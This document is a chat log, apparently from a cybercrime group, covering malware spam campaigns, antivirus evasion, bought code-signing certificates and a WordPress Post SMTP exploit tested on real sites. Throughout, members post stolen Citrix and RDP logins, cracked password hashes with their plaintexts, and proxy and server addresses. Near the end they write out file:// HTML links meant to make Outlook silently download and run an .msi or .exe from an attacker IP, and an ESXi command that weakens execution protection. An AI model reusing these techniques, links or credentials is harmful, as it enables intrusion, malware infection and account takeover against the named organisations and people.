нет, руками

создал СИ шелл код

который не bin

а .C

и сунул его в исходник

и скомпилировал exe

mingw

я же уже говорил это

даже ниче говорить не хочу

в пизду

я как обычно скажу что нахуй никому не надо нужно что то доказывать что бы сделалось то что прошу

да если бы у меня были знания програмирования и понимание как все устроено

у меня был бы интерес разобраться до истины и сделать чисто все

А у меня 42к объектов!

нужно найти кодера что бы разгрузить кодеров некоторых

> <@usernamegg:matrix.bestflowers247.online> дак есть два кодера, нужно прям рядом с тобой одного посадить

приезжай))

+

AUTH_FROM_APOLLO_VALID_20240214.txt

AUTH_VALID_20240214.txt

запустил экспорт мыла и пасса для доменов от ситрикса, и запущу потом проверку на валид

rdweb уже подзаканчиваются, так как мыло и пасс экспортнул

может с брута еще немного будет

а основном конечно это с мыла и пасса было

> <@usernamegg:matrix.bestflowers247.online> скачал ?

> <@usernamegg:matrix.bestflowers247.online> http://temp.sh/GgLkd/onionshare_fpfppp.zip

через тор, не быстро

+

ну как я понял, это штука сбрасывает пароль для пользователя wordpress

ну я скриптик на питоне посмотрел этот

короче скоро буду его переписывать под себя

короче видимо там сбрасывать пароль админа можно

ну и потом заходишь в панель

и делаешь что нужно

> <@usernamegg:matrix.bestflowers247.online> на питоне разве не быстрее работать будет чем на пхп?

он не многопоточный

нифига

и не будет он работать быстрее

если соксы поставить

вся скорость в соксы упирается часто

но

хорошо, мы пароль сбросили

и что дальше?)

мне же нужно будет как-то письма выкачивать

+

европу будем просылать?

линки готовлю

https://globalpanelinc.com/wnx/{random}

+

privet

mojet drygoy soft naydu , sert dash dla progruza?

NNN privet

self.username = self.getParameters().get('USERNAME')

> <@n3auxaxl:matrix.collectionofmanager.space> кароче беда есть в том, что msi палит в тупую

тут уще для экспойта нужно указывать валидного пользователя wp

а могут дать линк, на котором работает этот икспоит ?

домен и имя пользователя дать

ну вот я ищу

пока затуп на этом

нужно будет еще имена пользователей перебирать

я пока admin сделал, и чет не находит пока

https://stleonardsbandb-blandford.co.uk/wp-login.php?action=lostpassword тут еще например вообще капча стоит

внедри в свою разводку систему контроля версий и обновлений, доставляй чистый софт с разводкой, рат уже лей в обновлении

но у меня работало так: есть лендос, на нем ехе с чистой программой, которая без рата и прочей малвари, программа эта должна уметь делать то, что заявлено на лендосе (чтоб не снесои софт в первые 5 минут). После установки программа требует обновления, они может произвестись в тихом режиме, так вот с обновлением программы ты жертве доставляешь обнову с ратом. У меня какое-то время была такая схема с виндой

ну есть сервисы

> <@usernamezz:matrix.bestflowers247.online> `b85cf405cfa1838227df928e1badb924`

он не понял вопрос что-ль

он может дать пару домен WP, где работает этот эксплоит?

* он может дать пару доменов WP, где работает этот эксплоит?

делаю

Дай своему партнеру почитать за Garble, разберется

но опять таки, он на Go

[01:18:30] malware: https://github.com/burrowers/garble

Дай своему партнеру почитать за Garble, разберется

### 2.8.11 ###

https://stolofffamily.com/wp-content/plugins/post-smtp/readme.txt

вот пример WP

видно что одновляются

исрпавили уязвимость

= 2.8.11 - 2024-01-19 =

ну я половину переписал эксплоита

и уперся

пока не могу подобрать пользователя

этот чувак на чем проверял свой эксплоит?

+

`esxcli system settings advanced set -o /User/execInstalledOnly -i 0`

`64.176.219.106:45149 ACTIVE`

я пока пустил тут в 300 потоков

alex

пока вот такие имена перебираю

мне хотябы одиного найти, чтобы проверить точно ли работает эксплоит

именно когда лочим?

++

там не долго ?

просто нам морда нужна будет

> <@usernamegg:matrix.bestflowers247.online> `esxcli system settings advanced set -o /User/execInstalledOnly -i 0`

если найдем доступ

или отпиши как закончите

мы пока ищем

+

ок

скоро сделаю

добавил

https://4c5kb5ly.cofoundermanagerplatform.online/7e6375fd-0860-4a88-8d60-7beac46dd708/bot/33302

Привет

сетка дошла GB

и вот еще вернулась https://4c5kb5ly.cofoundermanagerplatform.online/7e6375fd-0860-4a88-8d60-7beac46dd708/bot/33130

64.176.219.106:33275

hotdrake:zg415387287:http://albertkahingliu.com/wp-login.php

в логах поискал доступы

вот есть такой сайт

когда нажимаю восставноить пароль

http://albertkahingliu.com/wp-login.php?action=lostpassword

вот тут

ввожу hotdrake

пользователя находит

и просто на почту отправляет линк

а в эксплоите, он из этого запроса вытаскиевает ключ

но вот такого ключа я не вижу

варота

FCMValidDomains.txt

вот домены, у которых __setFCMtoken еще работает

пусть чувак проверит этот эксплоит на них

потому что у меня не пашет

можно

какой?

чтобы слать с WP

или получать всю инфу?

давай

напиши задачу

а exe криптанули?

dll *

да, щас пару минут

ReadMeValidaDomains.txt

вот домены можете еще мелкору передать

у которых есть смтп плагин этот

но это не все конечно

> <@usernamegg:matrix.bestflowers247.online> https://file.io/1xUe9o6DkygW

> <@usernamegg:matrix.bestflowers247.online> sent a file.

по идеи, ведь чувак который продал этот экспоит проверял же его?

> <@usernamess:matrix.bestflowers247.online> ```

0

`MEdelstein::BMT:1122334455667788:7cbc42051160d3d04675c78d22c369a7:0101000000000000da332a5b6c5fda01599a6d7a682fdff20000000008003000300000000000000000000000002000005afba3a7863b63fd732abb58135e7b9407fa5b2890f7772f929b293a35c94e920a0010000000000000000000000000000000000009001c0042004d0054005c004d004500640065006c0073007400650069006e000000000000000000`

короче он нам херню мне кажется выдал

https://github.com/UlyssesSaicha/CVE-2023-6875 я вот что еще нашел

проверяю работает ли

и вот это работает

щас

> <@n3auxaxl:matrix.collectionofmanager.space> sent a file.

1.7z

wNyaNTmziRahuqTIJucHsqTCukmQDZgPyOeDuPfjemGAUdJNJt

> <@usernamenn:matrix.bestflowers247.online> sent a file.

2.7z

сек, щас гляну

> <@lapa:matrix.bestflowers247.online> https://github.com/UlyssesSaicha/CVE-2023-6875 я вот что еще нашел

там провда без сброса пасса, но можно письма вытащить

Screenshot_2024-02-15_14-08-04.png

Это когда появляется?

после запуска команды regsvr32 /s dll_path

ну видимо после дропа оно не просканило его

потому что с монтированого диска его перенес

но думаю что статика это

На рантайм походит

щас сек, проверю переносом

минуту

поссле запуска детект. Переделаем еще конечно

ну там когда на меня идет детект, там пишет другое, там пишет Behaviour

а у меня бота даже не дропнуло просто

щас сек, проверю дропом именно

а dll_path что делает?

regsvr32 /s и путь к длке

ну по сути просто запуск ее

но до запуска не дошло

Ясно

оно сначала сканит длку и потом уже запускает ее

ну anti malware service не дает запустить что либо до первого скана

вот был первый скан, процесс regsvr32 еще нге появлися

а етект уже был

глянь плиз еще на дроп

да, сек

щас тачку обнулю

чтобы сигнатуры в локальной базе не было

+

> <@usernamemm:matrix.bestflowers247.online> `MEdelstein::BMT:1122334455667788:7cbc42051160d3d04675c78d22c369a7:0101000000000000da332a5b6c5fda01599a6d7a682fdff20000000008003000300000000000000000000000002000005afba3a7863b63fd732abb58135e7b9407fa5b2890f7772f929b293a35c94e920a0010000000000000000000000000000000000009001c0042004d0054005c004d004500640065006c0073007400650069006e000000000000000000`

MEDELSTEIN::BMT:1122334455667788:7cbc42051160d3d04675c78d22c369a7:0101000000000000da332a5b6c5fda01599a6d7a682fdff20000000008003000300000000000000000000000002000005afba3a7863b63fd732abb58135e7b9407fa5b2890f7772f929b293a35c94e920a0010000000000000000000000000000000000009001c0042004d0054005c004d004500640065006c0073007400650069006e000000000000000000:x%XmcLp7

> <@n3auxaxl:matrix.collectionofmanager.space> dropper_GG21_TH_D_f0adda360d2b4ccda11468e026526576_pHw0N.zip

drs.7z

))++

да, тот же самый детект

без запуска

просто дроп на тачку

> <@burito:matrix.bestflowers247.online> sent a file.

> <@n3auxaxl:matrix.collectionofmanager.space> просто дроп на тачку

привет, ок, проверю

вебрут это что-то новенькое)

> <@usernamenn:matrix.bestflowers247.online> cob9_443_x64.bin

> <@usernamess:matrix.bestflowers247.online> ???

> <@usernamess:matrix.bestflowers247.online> ```

> <@burito:matrix.bestflowers247.online> sent a file.

жду стук

> <@usernamenn:matrix.bestflowers247.online> cob9_443_x64.bin

cobs_signed.7z

строка длл dfhfghjhdfgnggnfgrghgghhghnggnhf

> <@usernameww:matrix.bestflowers247.online> sent a file.

Да.

Бензрпилой )

> <@usernameww:matrix.bestflowers247.online> эти пилите? burrito muaddib6

я ножовкой

поэтому долго

* Бензопилой )

> <@burito:matrix.bestflowers247.online> там вебрут?

A shto esli nam vidavat na lende lnk/pdf

[04:09:09] v: i can provide you with crypt bypass defender and smart screen

[04:09:35] v: i will convert to ps1

все стучит

забыл отписать

[04:17:24] 11_test: > [04:15:43] 11_test: example

> <@n3auxaxl:matrix.collectionofmanager.space> все стучит

est kto delaet tAKOE

я это могу сделатьт

но толку в этом нет

все равно будет детект)))

ну 1 день может и нормально будет

ponal

и то вряд ли

поставь мне задачу что нужно

вот то что он писал по поводу exe там софта

буду искать

узнай у макара чем он подписывает файл

какие серты

может те SSl.com

не подоходят нам

может их тупо детектят

а не наш софт

shas sproshu

давай

pram pishi mne shto nado i budu iskat uznavat

просто как файл защитить я знаю

stoti vse

ujas

bez raboti

sidim

+++

ewe vopros

палится АВ или на этапе хрома у тебя детект?

на сколько я помню надо греить серт скачками

1k

> <@n3auxaxl:matrix.collectionofmanager.space> может их тупо детектят

+

обновлю и делаю

Loader ZIP EXE+EV VALID CERTIFICATE

Если сертификат отзывают и файл перестаёт быть доверенным возвращаю оставшуюся не использованную стоимость подписки из расчёта 70$/сутки из оплаченной оставшейся недели. Цена недели 490$/7дней, жил файл 3 дня, остаток к возврату 280$( 490-210=280), сутки закрываются после первых 15 часов текущего дня ☘️

tg для новостей https://t.me/+8tKyMsrhyJY0MWEy https://t.me/Crypt4U_bot

Pogovori s nim

лапа уже все дал

ты собириаешься делать?

щас я сделаю тесты

скажу

отдебажу сам скрипт

сигны для разменожения старые?

чтобы пасс ресетился

и выдавал то что нужно

hjvhjvhjvhjhjvvhjvhjvhjvjgvvggvhj не подходит

> <@usernamegg:matrix.bestflowers247.online> I have the exploit. The targets you should find based on the CVE. Also for Core Impact I think you should give the targets by IP addresses.

я пока только нашел 3 домена

для которых работает https://github.com/UlyssesSaicha/CVE-2023-6875

через него можно будет выкачать письма хотябы

могли бы короч у него не покупать этот эксплоит_)

# Author:

вот в покупном что написано

> <@usernamegg:matrix.bestflowers247.online> сигна какая ?

Ulysses Saicha это https://github.com/UlyssesSaicha/CVE-2023-6875 его репозеторий

> <@n3auxaxl:matrix.collectionofmanager.space> sent a file.

https://forum.exploit.in/topic/156511/?tab=comments#comment-1450566

3.7z

+++

+

я через час поеду

+++

эксели сделали?

> <@ssd:matrix.bestflowers247.online> https://forum.exploit.in/topic/156511/?tab=comments#comment-1450566

там много таких как ты

с разными скиллами

Error: key status is disabled

отрубили серт вчерашний

чисто, все запустилось

щас скажу про стук

+

все окей

стучит

> <@usernamegg:matrix.bestflowers247.online> ```

wNyaNTmziRahuqTIJucHsqTCukmQDZgPyOeDuPfjemGAUdJNJt

> <@muaddib6:matrix.org> sent a file.

uel

* сегодня хотябы сделаешь? неужели это так сложно?

++++

Хорошо

скоро посмотрю

понял, ну сделай плиз, а то как то неудобно перед поставщиком. Все обещаю скоро скоро, а потом оправдываться приходиться

есть один

`$DCC2$10240#hdewar#3b90f623cba65b93740cc80643caa116`

* понял, ну сделай плиз, а то как то неудобно перед поставщиком. Все обещаю скоро скоро, а потом оправдываться приходится

> <@usernameww:matrix.bestflowers247.online> sent a file.

4.7z

++

вроде чисто по экселю

скоро европу запускать буду

tak ewe moment

@TrueCryptsSupport

eto criptor normalniy y nego mojno sprosit kak bit v takih slcuahyh kak u nas

dat emu tam na pivo

запустил европу

так я щас перепишгу этот python скрипт полностью

потому что этот работает только с этим софтом

я сделаю так, чтобы он просто запускался 1 командой

++

> <@burito:matrix.bestflowers247.online> нод там есть?

два запуска из франции

25к уже ушло

ну через час

пойду собираться

> <@usernamegg:matrix.bestflowers247.online> ты на сколько уйдешь в офф ?

5 запусков есть

ок

72к ушло

8 запусков

эксель все равно этот не оч

с него не сыпет

еще 30 мин буду слать

Привет

я на месте))

до 5 сидели с SS

не

я не пьющий)

> <@usernamegg:matrix.bestflowers247.online> тебе может разливного следующий раз привести ?)

не фильтрованного

ой

фильтрованного наоборот

> <@usernamegg:matrix.bestflowers247.online> ага ) не убущий ) не курящий еще скажи )

45 запусков есть

Ok

210k+ ушло

стопнул

`$DCC2$10240#admin_cbarnett#566f3bb4720250a33e68e0315d226087`

`$DCC2$10240#CbarnettAdmin#5921081abfed18023f15168b3f5928d3`

> <@usernamenn:matrix.bestflowers247.online> sent a file.

`$DCC2$10240#jmurphy#6f5966ce25a1f6608a5820a57bbec598`

5.7z

> <@muaddib6:matrix.org> Еще криптом, но только длл rundll32 dll.dll,rundmsndbft

> <@ssd:matrix.bestflowers247.online> tg для новостей https://t.me/+8tKyMsrhyJY0MWEy https://t.me/Crypt4U_bot

Личная связь https://t.me/Mavr_MMM

https://www.trendmicro.com/en_us/research/24/b/cve202421412-water-hydra-targets-traders-with-windows-defender-s.html

есть новости,списался с ним ?

погоди, я щас другим занят

мне наджо по сплойту

и реверсеры панель атакуют

очень много дел

не успеваю все вместе

напиши сегодня плиз - на завтра готовить нет аки - решение тебе нашел

+++

phenomenon.dll

тут просто добавление юзера

криптануть?

да

увуой запуск?

Какой запуск?

у нее нет точки входа, эта длл запускает драйвер печати

а как запускает?

щас гляну в исходнике экзекутора

не понятно, не ясно нихуя

А как работать будите?

в смысле как?

Я просто не сделаю без точки входа

DllMain

ну че там с учеткой?

к нам в учетку билды добавил?

++

привет, по цене реши ты плз

бро привет, по нагрузке нет новинок? эксель и тп

----

https://thehackernews.com/2024/02/critical-exchange-server-flaw-cve-2024.html

> <@usernamemm:matrix.bestflowers247.online> `$DCC2$10240#admin_cbarnett#566f3bb4720250a33e68e0315d226087`

++ ага видел уже доделываю по ней блг! что то сообщение твое просмотрел (

> <@usernamess:matrix.bestflowers247.online> sent a file.

pacifica.co.uk можно подсвечивать, приготовил блог..

> <@usernamegg:matrix.bestflowers247.online> добавлю

> <@usernamegg:matrix.bestflowers247.online> еще не заходил

привет. можно доступ к логам? юзер fraen пасс не подходит. https://ifcdbvwazrdobhen3a4h32pi4upr7bykraknz43suiun6cj3ouyzaxyd.onion/login

ок

Ты с дропера выдаешь ?

> <@ssd:matrix.bestflowers247.online> Личная связь https://t.me/Mavr_MMM

> <@ssd:matrix.bestflowers247.online> Ты с дропера выдаешь ?

est je droperi razlichnie

ne slishal?

sec

Пользователь переходит по ссылке на лендинг, читает текст разводки и нажимает на кнопку скачать и если выполнил запуск дроппера, то полезная нагрузка скачается и все это зафиксируется в статистике

я тут

пришло что-то интересное из европы?

понял!

короче и мелкор говорит, что странно выполнен этот эксплоит

> <@lapa:matrix.bestflowers247.online> для которых работает https://github.com/UlyssesSaicha/CVE-2023-6875

пока только 50 доменов нашел

но там и есть пустые

и я смотрю там много обновились

версия 2.8.11 как раз эту уязвимость устраняет

> <@usernamess:matrix.bestflowers247.online> ```

> <@usernamegg:matrix.bestflowers247.online> ты норм сгонял ?

> <@usernamegg:matrix.bestflowers247.online> сколько потоков ?

> <@usernamegg:matrix.bestflowers247.online> нам главное письм а выкачать

пока что чекает домены

на уязвимость

кароче по поводу сплойта, это херня

орно тупо не сбрасиывается

я уже полностью все просмотрел, нет там такого параметра

> <@usernameww:matrix.bestflowers247.online> 5.file.lockers..zip

cr.rar

`be88c3d53b1cc122a5c83e3c02d0c486`

> <@usernamess:matrix.bestflowers247.online> phenomenon.dll

phenomenon_cr.7z

как дела?

офнусь. до завтра

сек

момент

окей

1. Generation of "self.formatted_base_url" is incorrect.

Вот эти 3 пункта скинь ему

по сути почти в каждой функции херня

dopoe234x тут надо удалить все чаты

Id: a68e6f81-6afe-4c37-aa1e-e98a5234b5a

https://youtu.be/YpEs2iWD8Y4 нашел чела у него куча крутых доставок по спаму тебе очень пригодится

а основном акке все норм

нашел чела у него куча крутых доставок тебе очень пригодится

Привет, сколько у вас сейчас детектов ан билдах если не секрет?

https://youtu.be/YpEs2iWD8Y4

я тут

ищу файлы

у него куча крутых доставок на канеале

были мелкие очень

ага пять мин

файлы найду залью и потом трее скину

```

+++

гялну чутка позже, апдейты по блоку реверса делаю

```

а на таргетах детекты были?

давай да

сделай как тебе удобнее

> <@ssd:matrix.bestflowers247.online> напиши сегодня плиз - на завтра готовить нет аки - решение тебе нашел

сек чекну

в этой учетке только Блог вкладка

вкладки чатов нет

сейчас

pacifica.co.uk - подсвети, не забудь.. как будет время

также

только вкладка блог

и она пустая

короче да там была проблема с сайтом. как будто у них две похожие фирмы либо одна дочка другой. два сайта один pacificagroup.co.uk - но он не наботает. я в доках нашел адрес их фирмы и по зуму и гуглу это вот эта контора -> pacifica.co.uk

поменял в листе

да это одна контора. у них даже здание одно и то же на фотках.. pacificagroup.co.uk и pacifica.co.uk - адрес один сайты разные. один из них не работает только

GetUserSPNs

все также

`$DCC2$10240#admin_jaughenbaugh#afd2d90b42b94e442b663fa3524e9dfa`

пнд

может завтра, но лучше не спешить, ибо вряд ли успею

щас с реверсарми разбюерусь

и потом уже с этим всем

напишу всем этим ребятам, пообщаюсь с ними

распишу это все и мы примем сомвместное решение

как лучше поступить, или план тестов и так далее

и ничего не изменилось

завтра будем что то слать?

я могу на выходных попробовать придумать что слать, а то вижу, что нагрузка JAR херово идет, потому что на тачках нет JAVA

щас по боту с реверсерами разберусь и займусь нагрузкой, чтобы могли неделю хотя бы нормально прослать

чтобы завалило ботов и в работу взяли побольше

и до сих пор

https://www.synacktiv.com/en/publications/gpoddity-exploiting-active-directory-gpos-through-ntlm-relaying-and-more

`64.176.219.106:34753 s5`

7DNS_x86.bin

```

GFAD_adm_kekhash.txt

$krb5tgs$23$*SV_Azure$ad.gfad.de$host/sso.gfad.de@ad.gfad.de*$1d99597600d9b806341...df685b9b70:Office365!

> <@username777:matrix.bestflowers247.online> $krb5tgs$23$*SV_Azure$ad.gfad.de$host/sso.gfad.de@ad.gfad.de*$1d99597600d9b806341...df685b9b70:Office365!

```

```

453c12352be2e4d66abe8d05e1a8ce92:gfad9999!

> <@username777:matrix.bestflowers247.online> 453c12352be2e4d66abe8d05e1a8ce92:gfad9999!

```

$DCC2$10240#oliver.schaal#57fa6a019629105046cae49a8d6da7bd:Gfad9999!

fefba96480002165ea91347556beb322

```

* ```

0x0200a42ce4d757abde38758e9dec8d9da97514dc41848c0cae861bc8ed86b51a6bf27df3592d78efd3c56e1dd115203ca8edff8ec0c59c54e31aa2aea4a008582d8fc8b5e90b:CHxxrtN&3

> <@usernamess:matrix.bestflowers247.online> fefba96480002165ea91347556beb322

> <@usernamess:matrix.bestflowers247.online> ```

0x020084c06023af5b8714e77e395001f323eabd7179b2033a0405c92609346a38497044a69a96d05bb6c3e2bf9361a39d5ae92d1be7b663b40730bd73e5a0444e62abfe5e0e5d:gfad9999!

0x0200b743f534cf19c7a4420c9ce57746bf0a461a2b52e8a02e309e7c537d046d6a69ae1a28e2caed8bba0c57af0a58f5aead4edf9275dd02f037ce85a4092478713ce2178cd3:26bmor67

Dobroe

Доброе

ljLj,hjt

AUTH_FROM_APOLLO_VALID_20240215.txt

AUTH_VALID_20240215.txt

* Доброе)

dobroe

доброе

вроде J

щас позову

+

есть впски?

а то что-то вчрешние уже не работают

странно

!proxychains ssh root@23.227.193.23 = webbloper.com +

я их не юзал вчера

но не работают

```

> <@usernamegg:matrix.bestflowers247.online> sent an image.

он как раз и запускал на core impact

emiindustries.com 217.79.249.130:443 emiindustries\aharvill ah121162

по ситриксу валидный доступ

запустил сейчас, посмотрим сколько с мыла и пасса будет

```

+

+

> <@usernamemm:matrix.bestflowers247.online> `$DCC2$10240#admin_jaughenbaugh#afd2d90b42b94e442b663fa3524e9dfa`

> <@usernamegg:matrix.bestflowers247.online> emiindustries.com 217.79.249.130:443 emiindustries\aharvill ah121162

> <@usernamemm:matrix.bestflowers247.online> `$DCC2$10240#admin_cbarnett#566f3bb4720250a33e68e0315d226087`

> <@usernamemm:matrix.bestflowers247.online> `$DCC2$10240#CbarnettAdmin#5921081abfed18023f15168b3f5928d3`

gпо этим путо?

https://powerglobalstore.com/xhA/{random}

ну мелкор же проверял Core Impact... у него не пашет

т.е. там сбрас пасса врядли будет работать

потому что там нужен ключ

ну со вчерашних экселей что-то взяли в работу?

> <@usernamemm:matrix.bestflowers247.online> gпо этим путо?

* по этим пуcто?

или нет смысла их слать?

> <@usernamehunter:matrix.bestflowers247.online> у меня пока по 0

+

ну и вы проверяли все же этот эксель, там не работает на сетках он

плюс у меня он аж 4 клика заставляет делать

такое себе

Привет, ащшс сделаю

* Привет, щас сделаю

и до сих пор

PASS: 637ba52945b2463c0cc65f97421f8295

dropper_GG21_F_D_f0adda360d2b4ccda11468e026526576_1rLq71f.zip

https://4c5kb5ly.cofoundermanagerplatform.online/7e6375fd-0860-4a88-8d60-7beac46dd708/bot/33726

вот я купил RDP

это сетка, может быть что то нормальное

просто хоститься в PK

+++

ok

надо было через Create REmoteThread

дететк словили

от каспера

щас еще раз позову его в боту

и сделайте через CreateRemoteTrhead

заново зову

да

щас я позову бота

через RDP

а то он ужеш в офф

спалилось все

124.109.36.125:33899;PG\PG;pg123

вот

заходи

> <@usernamegg:matrix.bestflowers247.online> 124.109.36.125:33899;PG\PG;pg123

да

сегодня доразберусь еще

и все

завтра уже буду заниматься нагрузкой

что слать будем

> <@usernamegg:matrix.bestflowers247.online> амеру что пишем ?

все настроою и еще раз попробую

и посмотрим что будет

но я сомневаюсь что результат поменяется

но попробовать стоит

> <@usernamegg:matrix.bestflowers247.online> [23:49:23] LORD1 - Cob Meta: So the problem is with your target then. The exploit is certainly working from Core Impact. It comes directly from the company just as all the other exploits there.

+

но я вот сейчас выкачку почти сделал

выборочно смотрю

письмо вообще не очень

* письма вообще не очень

мало что-то писем пока короч

`KrisAdmin:$DCC2$10240#KrisAdmin#e3005cf2f521a18a8fc0e9343591fbcc`

да, на сетках в первую очередь нужно будет проверять каб этот

ну короч с вп я вот поставил на выкачку

херня

там нет норм писем

ну, переписки прям

спам какой-то один

все равно чуть чекается конечно

но уже вижу, что не то, что нам нужно

> <@usernamegg:matrix.bestflowers247.online> 124.109.36.125:33899;PG\PG;pg123

CIT_AUTH_VALID.txt

вот ситриксы буду сбрасывать

вроде валидные

там еще у них несколько версий авторизации есть

пока только одну версию чекаю

+++

> <@n3auxaxl:matrix.collectionofmanager.space> PASS: 637ba52945b2463c0cc65f97421f8295

drps.7z

потому что со второй у меня ложно считало валидной

+++

нужно еще доработать и подумать, как проверить эту ложну авторизаци

* нужно еще доработать и подумать, как проверить эту ложну авторизацию

щас

Screenshot_2024-02-16_13-01-59.png

xbcnj

dct pfgecnbkjcm

чисто все запустилось

но ошибка

`https://www.securitylab.ru/news/546060.php`

бл щас

на втором тоже

ого

ахуеть

+

нужно у привата спросить

> <@usernamegg:matrix.bestflowers247.online> `<a href="file:///\\10.10.111.111\test\test.rtf!something">ССЫЛКА</a>`

какую ссылку

Щас пример скину

он просто уже такие линки делал

<a href="file:///\\ip_address_of_ftp\path_to_file.msi!random_String">LOL</a>

```

вот смотри

ссылка на файл с разрешением

.msi допустим

или .exe к примеру

дальше рандомная строка и все

и когда тип нажимает на ссылку

у него сразу скачивается файл

и открывается

и никто даже не увидит

он типо в бекграунде делается

аухеть

ну в примере тут rtf файл

ща попробую на линк залить

drps.7z

строка dfshgfghjhfdnmhnbgfdgnnghdgfnjhgdfgbhgfdnngd

чисто, стучит

> <@n3auxaxl:matrix.collectionofmanager.space> чисто, стучит

только лучше так делать по идее

<a href="file:///ip_address_of_ftp\path_to_file.msi!random_String">LOL</a>

ой

```

ну кароче после file:/// идет ссылка на файл

+

ну вот сейчас попробую rtf файлик так сделать

или даже путти

+

помнишь у darkgate я тебе недавно скидывал

.url

```

вот так у них было

толкьо спосле .msi надо ставить !random_string

и получиться

```

+

я пока с путти проверю

будет ли работать

на через аутлук

7DNS_x86.zip

rundll32.exe dll.dll,ReloadImage

нужно новый сервер взять для соксов

http://95.216.29.185/0d650fb25643341d34db235021539c1c/index.php?pass=adm443

а то сюда фигня налетела всякая

и сейчас вот что-то отправить ничего не могу нормально

```

Tr1nsp2rt

http://temp.sh/YBJEU/Capture19.PNG

0x0200e032e44f56bccbba2ab4df13cb4f360b980b39ee1d8f332aecf10f9c7e017998428422706f9854503f39e4195a6475c90328f60e0e99f18a19bf6153b91f05a1fb2d7f3e:Tr1nsp2rt

http://temp.sh/fIzhZ/Capture20.PNG

пока что-то не получилось

возможно не так вставил линк

спросите у привата

185.113.8.216\put.exe вот линк

какой именно в письме a тег слать

http://185.113.8.216/put.exe ну вот линк

sek

yt

https://outlook.office.com/local/path/file:///185.113.8.216/put.exe в письме кстате аутлук оборачивание вот так

а ну скинь

как у вас линк

неправлиьно

что то у вас

а там нельзя просто линк на файл указать?

file://185.113.8.216/put.exe!random

вот так

аааа

у вас там 3

3 слеша

после фйайла

надо 2

ok

вот сейчас попробую

> <@usernamegg:matrix.bestflowers247.online> `https://heip.hmm21.com/Citrix/PCTXWeb/:hmm500056:hmm21.com`

<a href="file://185.113.8.216/put.exe!ss">Link item</a>

я вот такое прослал

нифига

не открывает